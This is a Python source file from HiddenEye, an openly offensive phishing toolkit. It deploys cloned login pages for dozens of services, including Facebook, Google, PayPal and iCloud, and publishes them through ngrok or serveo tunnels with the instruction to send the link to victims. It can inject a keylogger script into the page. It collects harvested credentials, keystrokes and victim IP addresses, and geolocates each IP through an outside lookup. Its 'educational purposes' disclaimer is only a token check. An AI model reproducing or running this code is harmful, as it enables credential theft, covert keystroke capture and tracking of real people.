HiddenEye-Legacy/Defs/Actions.py

585 lines
28 KiB
Python
Raw Normal View History

#Any actions must be here
from os import system, path
from distutils.dir_util import copy_tree
from time import sleep
import re
import json
from urllib.request import urlopen
2018-12-07 11:59:05 +08:00
from subprocess import check_output, CalledProcessError
2018-12-23 11:50:28 +08:00
from sys import stdout, argv, exit
from Defs.ThemesManager import colorSelector
from Defs.Configurations import readConfig, ifSettingsNotExists
from Defs.Languages import *
installGetText()
languageSelector()
ifSettingsNotExists()
config = readConfig()
logFile = None
didBackground = config.get("Settings","DidBackground")
for arg in argv:
if arg=="--nolog": #If true - don't log
didBackground = False
if config.get("Settings", "DidBackground") == "True":
logFile = open("log.txt", "w")
colorTheme = colorSelector()
MAIN0, MAIN1, MAIN2, MAIN3, MAIN4 = colorTheme[0], colorTheme[1], colorTheme[2], colorTheme[3], colorTheme[4]
def runPhishing(page , customOption): #Phishing pages selection menu
2019-04-19 22:36:23 +08:00
system('rm -Rf Server/www/*.* && touch Server/www/usernames.txt && touch Server/www/ip.txt && cp WebPages/ip.php Server/www/ && cp WebPages/KeyloggerData.txt Server/www/ && cp WebPages/keylogger.js Server/www/ && cp WebPages/keylogger.php Server/www/ ')
if customOption == '1' and page == 'Facebook':
copy_tree("WebPages/fb_standard/", "Server/www/")
2019-04-21 18:15:55 +08:00
elif customOption == '2' and page == 'Facebook':
copy_tree("WebPages/fb_advanced_poll/", "Server/www/")
2019-04-21 18:15:55 +08:00
elif customOption == '3' and page == 'Facebook':
copy_tree("WebPages/fb_security_fake/", "Server/www/")
2019-04-21 18:15:55 +08:00
elif customOption == '4' and page == 'Facebook':
copy_tree("WebPages/fb_messenger/", "Server/www/")
elif customOption == '1' and page == 'Google':
copy_tree("WebPages/google_standard/", "Server/www/")
elif customOption == '2' and page == 'Google':
copy_tree("WebPages/google_advanced_poll/", "Server/www/")
elif customOption == '3' and page == 'Google':
copy_tree("WebPages/google_advanced_web/", "Server/www/")
elif page == 'LinkedIn':
copy_tree("WebPages/linkedin/", "Server/www/")
elif page == 'GitHub':
copy_tree("WebPages/GitHub/", "Server/www/")
elif page == 'StackOverflow':
copy_tree("WebPages/stackoverflow/", "Server/www/")
elif page == 'WordPress':
copy_tree("WebPages/wordpress/", "Server/www/")
elif page == 'Twitter':
copy_tree("WebPages/twitter/", "Server/www/")
elif page == 'Snapchat':
copy_tree("WebPages/Snapchat_web/", "Server/www/")
elif page == 'Yahoo':
copy_tree("WebPages/yahoo_web/", "Server/www/")
elif page == 'Twitch':
copy_tree("WebPages/twitch/", "Server/www/")
elif page == 'Microsoft':
copy_tree("WebPages/live_web/", "Server/www/")
elif page == 'Steam':
copy_tree("WebPages/steam/", "Server/www/")
elif page == 'iCloud':
copy_tree("WebPages/iCloud/", "Server/www/")
elif customOption == '1' and page == 'Instagram':
copy_tree("WebPages/Instagram_web/", "Server/www/")
elif customOption == '2' and page == 'Instagram':
copy_tree("WebPages/Instagram_autoliker/", "Server/www/")
elif customOption == '3' and page == 'Instagram':
copy_tree("WebPages/Instagram_advanced_attack/", "Server/www/")
elif customOption == '4' and page == 'Instagram':
copy_tree("WebPages/Instagram_VerifiedBadge/", "Server/www/")
2019-04-19 22:36:23 +08:00
elif customOption == '5' and page == 'Instagram':
copy_tree("WebPages/instafollowers/", "Server/www/")
elif customOption == '1' and page == 'VK':
copy_tree("WebPages/VK/", "Server/www/")
elif customOption == '2' and page == 'VK':
copy_tree("WebPages/VK_poll_method/", "Server/www/")
2019-04-19 22:36:23 +08:00
elif page == 'GitLab':
copy_tree("WebPages/gitlab/", "Server/www/")
elif page == 'NetFlix':
copy_tree("WebPages/netflix/", "Server/www/")
2019-04-19 22:36:23 +08:00
elif page == 'Origin':
copy_tree("WebPages/origin/", "Server/www/")
2019-04-19 22:36:23 +08:00
elif page == 'Pinterest':
copy_tree("WebPages/pinterest/", "Server/www/")
2019-04-19 22:36:23 +08:00
elif page == 'ProtonMail':
copy_tree("WebPages/protonmail/", "Server/www/")
2019-04-19 22:36:23 +08:00
elif page == 'Spotify':
copy_tree("WebPages/spotify/", "Server/www/")
2019-04-21 18:15:55 +08:00
elif page == 'Quora':
copy_tree("WebPages/quora/", "Server/www/")
elif page == 'PornHub':
copy_tree("WebPages/pornhub/", "Server/www/")
elif page == 'Adobe':
copy_tree("WebPages/adobe/", "Server/www/")
2019-04-21 18:15:55 +08:00
elif page == 'Badoo':
copy_tree("WebPages/badoo/", "Server/www/")
2019-04-21 18:15:55 +08:00
elif page == 'CryptoCurrency':
copy_tree("WebPages/cryptocurrency/", "Server/www/")
2019-04-21 18:15:55 +08:00
elif page == 'DevianArt':
copy_tree("WebPages/devianart/", "Server/www/")
2019-04-21 18:15:55 +08:00
elif page == 'DropBox':
copy_tree("WebPages/dropbox/", "Server/www/")
elif page == 'eBay':
copy_tree("WebPages/ebay/", "Server/www/")
2019-04-21 18:15:55 +08:00
elif page == 'MySpace':
copy_tree("WebPages/myspace/", "Server/www/")
elif page == 'PayPal':
copy_tree("WebPages/paypal/", "Server/www/")
elif page == 'Shopify':
copy_tree("WebPages/shopify/", "Server/www/")
elif page == 'Verizon':
copy_tree("WebPages/verizon/", "Server/www/")
elif page == 'Yandex':
copy_tree("WebPages/yandex/", "Server/www/")
2019-04-19 22:36:23 +08:00
else:
endMessage()
def selectServer(): #Question where user must select server
system('clear')
print(_('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ HOST SERVER SELECTION ]{1}!! {0}\n-------------------------------''').format(MAIN0, MAIN2))
print(_("\n {1}[{0}!{1}]{1}(SERVEO WORKS BETTER)").format(MAIN0, MAIN2))
print(_("\n {0}[{1}*{0}]{0}Select Any Available Server:{1}").format(MAIN0, MAIN4))
print(_("\n {0}[{1}1{0}]{1}Ngrok\n {0}[{1}2{0}]{1}Serveo").format(MAIN0, MAIN2))
choice = input(" \n{0}HiddenEye >>> {2}".format(MAIN0, MAIN4, MAIN2))
2019-04-21 18:15:55 +08:00
if choice == '1':
2019-04-21 18:15:55 +08:00
print(_('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ NGROK SERVER PROCEDURE ]{1}!! {0}\n-------------------------------''').format(MAIN0, MAIN2))
print(_("\n {1}[{0}!{1}]{0} THIS SCRIPT WILL TERMINATE AND NGROK WILL BE LAUNCHED.\n {1}[{0}!{1}]{0} SEND THOSE GENERATED NGROK URL TO VICTIM. \n {1}[{0}!{1}]{0} GET THE VICTIM DETAILS IN ({1}Server/www{0}) FOLDER IN HIDDENEYE DIRECTORY. \n {1}[{0}+{1}]{0} PRESS ENTER TO LAUNCH NGROK SERVER. \n").format(MAIN0, MAIN2, MAIN4))
2019-04-19 22:36:23 +08:00
input('')
2019-04-21 18:15:55 +08:00
system('./Server/ngrok http 1111')
elif choice == '2':
2019-04-19 22:36:23 +08:00
system('clear')
runServeo()
else:
system('clear')
return selectServer()
def runServeo():
2019-04-19 22:36:23 +08:00
print(_('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ SERVEO URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n{0}[{1}!{0}]{1}REMEMBER ? Serveo Don't Allows Phishing.\n{0}[{1}!{0}]{1}They Drops The Connection Whenever Detects Phishing. ''').format(MAIN0, MAIN2))
print(_("\n{0}[{1}*{0}]{0}CHOOSE ANY SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}").format(MAIN0, MAIN2))
print(_("\n{0}[{1}1{0}]{1}Custom URL {0}(Generates desiMAIN0 url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)").format(MAIN0, MAIN2))
choice = input("\n\n{0}YOUR CHOICE >>> {2}".format(MAIN0, MAIN4, MAIN2))
2019-04-19 22:36:23 +08:00
system('clear')
if choice == '1':
2019-04-19 22:36:23 +08:00
customServeo()
elif choice == '2':
randomServeo()
else:
system('clear')
2019-04-19 22:36:23 +08:00
return runServeo()
def customServeo():
print(_('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for serveo''').format(MAIN0, MAIN2))
lnk = input(_("\n{0}CUSTOM Subdomain>>> {2}").format(MAIN0, MAIN4, MAIN2))
2018-12-07 11:59:05 +08:00
if not ".serveo.net" in lnk:
lnk += ".serveo.net"
else:
pass
2019-05-25 14:14:49 +08:00
system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=60 -R %s:80:localhost:1111 serveo.net > link.url 2> /dev/null &' % (lnk))
sleep(7)
2018-11-01 13:27:14 +08:00
try:
2018-12-09 14:14:19 +08:00
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url",shell=True)
2018-12-07 11:59:05 +08:00
url = str(output).strip("b ' \ n r")
2019-04-21 18:15:55 +08:00
system('clear')
print(_('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------''').format(MAIN0, MAIN2))
print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:1111\n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(MAIN0, MAIN2, MAIN3) + url + "{1}".format(MAIN0, MAIN4, MAIN3))
print("\n")
2018-12-07 11:59:05 +08:00
except CalledProcessError:
print (_('''\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n
''').format(MAIN0, MAIN4))
sleep(4)
system('clear')
return customServeo()
def randomServeo():
system('clear')
print(_('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ RANDOM SERVEO URL ]{1}!! {0}\n-------------------------------''').format(MAIN0, MAIN2))
system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > link.url 2> /dev/null &')
sleep(8)
try:
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url",shell=True)
url = str(output).strip("b ' \ n r")
print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:1111\n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(MAIN0, MAIN4, MAIN3) + url + "{1}".format(MAIN0, MAIN4, MAIN3))
print("\n")
except CalledProcessError:
sleep(4)
system('clear')
return randomServeo()
def runMainMenu(): #menu where user select what they wanna use
2019-04-19 22:36:23 +08:00
if 256 != system('which php > /dev/null'): #Checking if user have PHP
print (_(" {2}* {0}PHP INSTALLATION FOUND").format(MAIN2, MAIN4, MAIN0))
else:
print (_("{0}**{2} PHP NOT FOUND: \n {0}~{1} Please install PHP and run me again.http://www.php.net/").format(MAIN2, MAIN4, MAIN0))
for i in range(101):
2019-04-19 22:36:23 +08:00
sleep(0.02)
stdout.write("\r")
stdout.write(_("{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait...{2}%").format(MAIN0, MAIN4, i))
stdout.flush()
if input(_("\n{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? ({0}y{1}/{2}n{1})\n{2}HiddenEye >>> {0}").format(MAIN2, MAIN4, MAIN0)).upper() != 'Y': #Question where user must accept education purposes
system('clear')
print (_('\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE.!{1} ]\n\n').format(MAIN0, MAIN4))
exit(0)
2019-04-21 18:15:55 +08:00
def mainMenu():
system('clear')
print (_('''
2019-04-19 22:36:23 +08:00
{2} {3} {1}
{2} {3} {1}
{2} {3} {1}
{2} {3} {1}
{2} {3} {1}
2019-04-28 14:01:50 +08:00
v{3}0{1}.{3}2{1}.{3}7{1} BY:DARKSEC{2}
2019-04-19 22:36:23 +08:00
{3}[{2} Modern Phishing Tool With Advanced Functionality {3}]
2019-04-21 18:15:55 +08:00
{3}[{2} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-ALL_IN_ONE_TOOL-SOCIALENGINEERING {3}]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~''').format(MAIN3, MAIN4, MAIN2, MAIN0))
print (_("------------------------\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n------------------------").format(MAIN0, MAIN2))
print (_(" {0}[{1}1{0}]{1} Facebook {0}[{1}10{0}]{1} Yahoo {0}[{1}19{0}]{1} Pinterest {0}[{1}28{0}]{1} DropBox ").format(MAIN0, MAIN2))
print (_(" {0}[{1}2{0}]{1} Google {0}[{1}11{0}]{1} Twitch {0}[{1}20{0}]{1} ProtonMail {0}[{1}29{0}]{1} eBay").format(MAIN0, MAIN2))
print (_(" {0}[{1}3{0}]{1} LinkedIn {0}[{1}12{0}]{1} Microsoft {0}[{1}21{0}]{1} Spotify {0}[{1}30{0}]{1} MySpace").format(MAIN0, MAIN2))
print (_(" {0}[{1}4{0}]{1} GitHub {0}[{1}13{0}]{1} Steam {0}[{1}22{0}]{1} Quora {0}[{1}31{0}]{1} PayPal").format(MAIN0, MAIN2))
print (_(" {0}[{1}5{0}]{1} StackOverflow {0}[{1}14{0}]{1} VK {0}[{1}23{0}]{1} PornHub {0}[{1}32{0}]{1} Shopify").format(MAIN0, MAIN2))
print (_(" {0}[{1}6{0}]{1} WordPress {0}[{1}15{0}]{1} iCloud {0}[{1}24{0}]{1} Adobe {0}[{1}33{0}]{1} Verizon").format(MAIN0, MAIN2))
print (_(" {0}[{1}7{0}]{1} Twitter {0}[{1}16{0}]{1} GitLab {0}[{1}25{0}]{1} Badoo {0}[{1}34{0}]{1} Yandex").format(MAIN0, MAIN2))
print (_(" {0}[{1}8{0}]{1} Instagram {0}[{1}17{0}]{1} Netflix {0}[{1}26{0}]{1} CryptoCurrency ").format(MAIN0, MAIN2))
print (_(" {0}[{1}9{0}]{1} Snapchat {0}[{1}18{0}]{1} Origin {0}[{1}27{0}]{1} DevianArt ").format(MAIN0, MAIN2))
option = input(_("{0}HiddenEye >>> {1}").format(MAIN0, MAIN2))
if option == '1':
loadModule('Facebook')
customOption = input(_("\nOperation mode:\n {0}[{1}1{0}]{1} Standard Page Phishing\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n{0}HiddenEye >>> {2}").format(MAIN0, MAIN2, MAIN2))
runPhishing('Facebook', customOption)
elif option == '2':
loadModule('Google')
customOption = input(_("\nOperation mode:\n {0}[{1}1{0}]{1} Standard Page Phishing\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n {0}[{1}3{0}]{1} New Google Web\n{0}HiddenEye >>> {2}").format(MAIN0, MAIN2, MAIN2))
runPhishing('Google', customOption)
elif option == '3':
loadModule('LinkedIn')
customOption = ''
runPhishing('LinkedIn', customOption)
elif option == '4':
loadModule('GitHub')
customOption = ''
runPhishing('GitHub', customOption)
elif option == '5':
loadModule('StackOverflow')
customOption = ''
runPhishing('StackOverflow', customOption)
elif option == '6':
loadModule('WordPress')
customOption = ''
runPhishing('WordPress', customOption)
elif option == '7':
loadModule('Twitter')
customOption = ''
runPhishing('Twitter', customOption)
elif option == '8':
loadModule('Instagram')
customOption = input(_("\nOperation mode:\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (To Lure The Users)\n {0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)\n {0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge){1} *[NEW]*\n {0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers){1} *[NEW]*\n{0}HiddenEye >>> {2}").format(MAIN0, MAIN2, MAIN2))
runPhishing('Instagram', customOption)
elif option == '9':
loadModule('Snapchat')
customOption = ''
runPhishing('Snapchat', customOption)
elif option == '10':
loadModule('Yahoo')
customOption = ''
runPhishing('Yahoo', customOption)
elif option == '11':
loadModule('Twitch')
customOption = ''
runPhishing('Twitch', customOption)
elif option == '12':
loadModule('Microsoft')
customOption = ''
runPhishing('Microsoft', customOption)
elif option == '13':
loadModule('Steam')
customOption = ''
runPhishing('Steam', customOption)
elif option == '14':
loadModule('VK')
customOption = input(_("\nOperation mode:\n {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n{0}HiddenEye >>> {2}").format(MAIN0, MAIN4, MAIN2))
runPhishing('VK', customOption)
elif option == '15':
loadModule('iCloud')
customOption = ''
runPhishing('iCloud', customOption)
2019-04-19 22:36:23 +08:00
elif option == '16':
loadModule('GitLab')
customOption = ''
runPhishing('GitLab', customOption)
2019-04-19 22:36:23 +08:00
elif option == '17':
loadModule('NetFlix')
customOption = ''
runPhishing('NetFlix', customOption)
elif option == '18':
loadModule('Origin')
customOption = ''
runPhishing('Origin', customOption)
elif option == '19':
loadModule('Pinterest')
customOption = ''
runPhishing('Pinterest', customOption)
2019-04-19 22:36:23 +08:00
elif option == '20':
loadModule('ProtonMail')
customOption = ''
runPhishing('ProtonMail', customOption)
2019-04-19 22:36:23 +08:00
elif option == '21':
loadModule('Spotify')
customOption = ''
2019-04-21 18:15:55 +08:00
runPhishing('Spotify', customOption)
elif option == '22':
loadModule('Quora')
customOption = ''
runPhishing('Quora', customOption)
elif option == '23':
loadModule('PornHub')
customOption = ''
runPhishing('PornHub', customOption)
2019-04-21 18:15:55 +08:00
elif option == '24':
loadModule('Adobe')
customOption = ''
runPhishing('Adobe', customOption)
2019-04-21 18:15:55 +08:00
elif option == '25':
loadModule('Badoo')
customOption = ''
runPhishing('Badoo', customOption)
2019-04-21 18:15:55 +08:00
elif option == '26':
loadModule('CryptoCurrency')
customOption = ''
runPhishing('CryptoCurrency', customOption)
2019-04-21 18:15:55 +08:00
elif option == '27':
loadModule('DevianArt')
customOption = ''
runPhishing('DevianArt', customOption)
2019-04-21 18:15:55 +08:00
elif option == '28':
loadModule('DropBox')
customOption = ''
runPhishing('DropBox', customOption)
2019-04-21 18:15:55 +08:00
elif option == '29':
loadModule('eBay')
customOption = ''
runPhishing('eBay', customOption)
2019-04-21 18:15:55 +08:00
elif option == '30':
loadModule('MySpace')
customOption = ''
runPhishing('Myspace', customOption)
2019-04-21 18:15:55 +08:00
elif option == '31':
loadModule('PayPal')
customOption = ''
runPhishing('PayPal', customOption)
2019-04-21 18:15:55 +08:00
elif option == '32':
loadModule('Shopify')
customOption = ''
runPhishing('Shopify', customOption)
2019-04-21 18:15:55 +08:00
elif option == '33':
loadModule('Verizon')
customOption = ''
runPhishing('Verizon', customOption)
2019-04-21 18:15:55 +08:00
elif option == '34':
loadModule('Yandex')
customOption = ''
runPhishing('Yandex', customOption)
else:
2019-04-21 18:15:55 +08:00
endMessage()
def loadModule(module): #This one just show text..
print (_(''' {0}
[{1}*{0}] SELECT ANY ONE MODE...{0}\n--------------------------------''').format(MAIN0, MAIN2))
def inputCustom(): #Question where user can input custom web-link
system('clear')
2019-04-19 22:36:23 +08:00
print(_('''{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PUT YOUR REDIRECTING URL HERE ] {0}\n-------------------------------''').format(MAIN0, MAIN2))
print(_('''\n{1}**{0}(Choose Wisely As Your Victim Will Redirect to This Link)''').format(MAIN2, MAIN4))
print(_('''\n{1}**{0}(Do not leave it blank. Unless Errors may occur)''').format(MAIN2, MAIN4))
print(_('''\n{0}[{1}*{0}]{0}Insert a custom redirect url:''').format(MAIN0, MAIN4))
custom = input(_('''\n{0}REDIRECT HERE>>> {2}''').format(MAIN0, MAIN4, MAIN2))
2019-04-19 22:36:23 +08:00
if 'http://' in custom or 'https://' in custom :
pass
else:
custom = 'http://' + custom
if path.exists('Server/www/post.php') and path.exists('Server/www/login.php'):
with open('Server/www/login.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/login.php', 'w')
f.write(c)
f.close()
with open('Server/www/post.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/post.php', 'w')
f.write(c)
f.close()
else:
with open('Server/www/login.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/login.php', 'w')
f.write(c)
f.close()
def keyloggerprompt():
system('clear')
print (_('''{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
2019-04-19 22:36:23 +08:00
{1}http://github.com/darksecdevelopers
{0}** BY: {1}DARKSEC {0}**
''').format(MAIN0, MAIN2))
print(_("-------------------------------\n{0}[ KEYLOGGER PROMPT ]{1}!! {0}\n-------------------------------").format(MAIN0, MAIN4))
def addingkeylogger():
print(_("\n{0}[{1}*{0}]{0}DO YOU WANT TO ADD A KEYLOGGER IN PHISHING PAGE-{1}(Y/N)").format(MAIN0, MAIN4))
choice = input("\n\n{1}{0}YOUR CHOICE >>> {2}".format(MAIN0, MAIN4,MAIN2))
if choice == 'y' or choice == 'Y':
2019-04-19 22:36:23 +08:00
addkeylogger()
else:
2019-04-19 22:36:23 +08:00
sleep(1)
def addkeylogger():
2019-04-19 22:36:23 +08:00
if path.exists('Server/www/index.html'):
with open('Server/www/index.html') as f:
read_data = f.read()
c = read_data.replace('</title>', '</title><script src="keylogger.js"></script>')
2019-04-19 22:36:23 +08:00
f = open('Server/www/index.html', 'w')
f.write(c)
2019-04-19 22:36:23 +08:00
f.close()
print(_("\n{0}[{1}#{0}]Keylgger{0} ADDED !!!").format(MAIN0, MAIN4))
2019-04-19 22:36:23 +08:00
sleep(2)
else:
with open('Server/www/index.php') as f:
read_data = f.read()
c = read_data.replace('</title>', '</title><script src="keylogger.js"></script>')
2019-04-19 22:36:23 +08:00
f = open('Server/www/index.php', 'w')
f.write(c)
f.close()
print(_("\n{0}[{1}#{0}]Keylgger{0} ADDED !!!").format(MAIN0, MAIN4))
2019-04-19 22:36:23 +08:00
sleep(2)
def runServer():
2019-04-26 16:01:45 +08:00
system("fuser -k 1111/tcp")
2019-04-21 18:15:55 +08:00
system("cd Server/www/ && php -S 127.0.0.1:1111 > /dev/null &")
2018-10-30 05:23:45 +08:00
def endMessage(): #Message when HiddenEye exit
choice = input("\n\n{0}[{1}?{0}] Press '1' To Run Script Again {1}|{0} Press 'ENTER' To Exit\n{0} >> {2}".format(MAIN0, MAIN4, MAIN2))
if choice == '1':
2019-04-21 18:19:19 +08:00
system('sudo python3 HiddenEye.py')
2019-04-21 18:15:55 +08:00
elif choice == '':
system('clear')
print (_('''
2018-10-30 14:18:21 +08:00
{3}HIDDEN EYE {3}BY: DARKSEC TEAM
2019-04-19 22:36:23 +08:00
{1}https://github.com/DarkSecDevelopers/HiddenEye
2019-04-19 22:36:23 +08:00
{3} [[*]] IF YOU LIKE THIS TOOL, THEN PLEASE HELP US.
{0}
[{3}!{0}] PLEASE LET US KNOW , IF ANY PHISHING PAGE GOT BROKEN .
[{3}!{0}] MAKE PULL REQUEST, LET US KNOW YOU SUPPORT US.
2019-04-19 22:36:23 +08:00
[{3}!{0}] IF YOU HAVE MORE PHISHING PAGES, THEN JUST MAKE A PULL REQUEST.
[{3}!{0}] PLEASE DON'T HARM ANYONE , ITS ONLY FOR EDUCATIONAL PURPOSE.
[{3}!{0}] WE WILL NOT BE RESPONSIBLE FOR ANY MISUSE OF THIS TOOL
{3} [[*]] THANKS TO USE THIS TOOL. HAPPY HACKING ... GOOD BYE \n ''').format(MAIN2, MAIN2, MAIN4, MAIN0))
2019-04-21 18:15:55 +08:00
else:
system('clear')
return endMessage()
def getCredentials():
print(_("{2}.........................................................................\n{0}[{1}!{0}]{1} IF FOUND {2}SEGMENTATION FAULT{1}, IT MEANS THE SERVER FAILED. {2}| \n{0}[{1}!{0}]{1} THEN YOU HAVE TO RUN IT AGAIN. {2}| \n{0}[{1}!{0}]{1} Use This Command In Another Terminal. {2}| \n{0}({2}cd Server/www/ && php -S 127.0.0.1:1111 > /dev/null{0}) {2}| \n{2}......................................................................... \n\n").format(MAIN2, MAIN2, MAIN0))
print(_("{0}[{1}*{0}]{1} Waiting For Victim Interaction. Keep Eyes On Requests Coming From Victim ... \n\n{2}++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n").format(MAIN0, MAIN2, MAIN4))
while True:
with open('Server/www/usernames.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
writeLog('{0}..................................................................'.format(MAIN3, MAIN4))
writeLog(_(' {0}[{1} CREDENTIALS FOUND {0}]{1}:\n {0}{2}{1}').format(MAIN2, MAIN3, lines))
system('rm -rf Server/www/usernames.txt && touch Server/www/usernames.txt')
writeLog('{0}..................................................................'.format(MAIN3, MAIN4))
creds.close()
with open('Server/www/ip.txt') as creds:
lines = creds.read().rstrip()
2019-05-25 15:52:20 +08:00
if len(lines) != 0:
2018-12-05 10:17:02 +08:00
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
2018-12-08 13:29:48 +08:00
user = re.match('Current logged in user: (a-z0-9)\n', lines)
resp = urlopen('https://ipinfo.io/{0}/json'.format(ip))
ipinfo = json.loads(resp.read().decode(resp.info().get_param('charset') or 'utf-8'))
if 'bogon' in ipinfo:
log('..................................................................'.format(MAIN0, MAIN4))
log(_(' \n{0}[ VICTIM IP BONUS ]{1}:\n {0}{2}{1}').format(MAIN0, MAIN2, lines))
else:
matchObj = re.match('^(.*?),(.*)$', ipinfo['loc'])
latitude = matchObj.group(1)
longitude = matchObj.group(2)
writeLog('..................................................................'.format(MAIN0, MAIN4))
writeLog(_(' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}{2}{1}').format(MAIN3, MAIN2, lines))
writeLog(_(' \n{0}Longitude: {2} \nLatitude: {3}{1}').format(MAIN3, MAIN2, longitude, latitude))
writeLog(_(' \n{0}ISP: {2} \nCountry: {3}{1}').format(MAIN3, MAIN2, ipinfo['org'], ipinfo['country']))
writeLog(_(' \n{0}Region: {2} \nCity: {3}{1}').format(MAIN3, MAIN2, ipinfo['region'], ipinfo['city']))
system('rm -rf Server/www/ip.txt && touch Server/www/ip.txt')
writeLog('..................................................................'.format(MAIN0, MAIN4))
creds.close()
with open('Server/www/KeyloggerData.txt') as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
writeLog('{0}...............................'.format(MAIN0, MAIN4))
writeLog(_(' {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n {0}%s{1}').format(MAIN3, MAIN2) % lines)
system('rm -rf Server/www/KeyloggerData.txt && touch Server/www/KeyloggerData.txt')
writeLog('{0}...............................'.format(MAIN0, MAIN4))
creds.close()
def writeLog(ctx): #Writing log
if config.get("Settings", "DidBackground") == "True": #if didBackground == True, write
logFile.write(ctx.replace(MAIN0, "").replace(MAIN1, "").replace(MAIN2, "").replace(MAIN3, "").replace(MAIN4, "") + "\n")
print(ctx)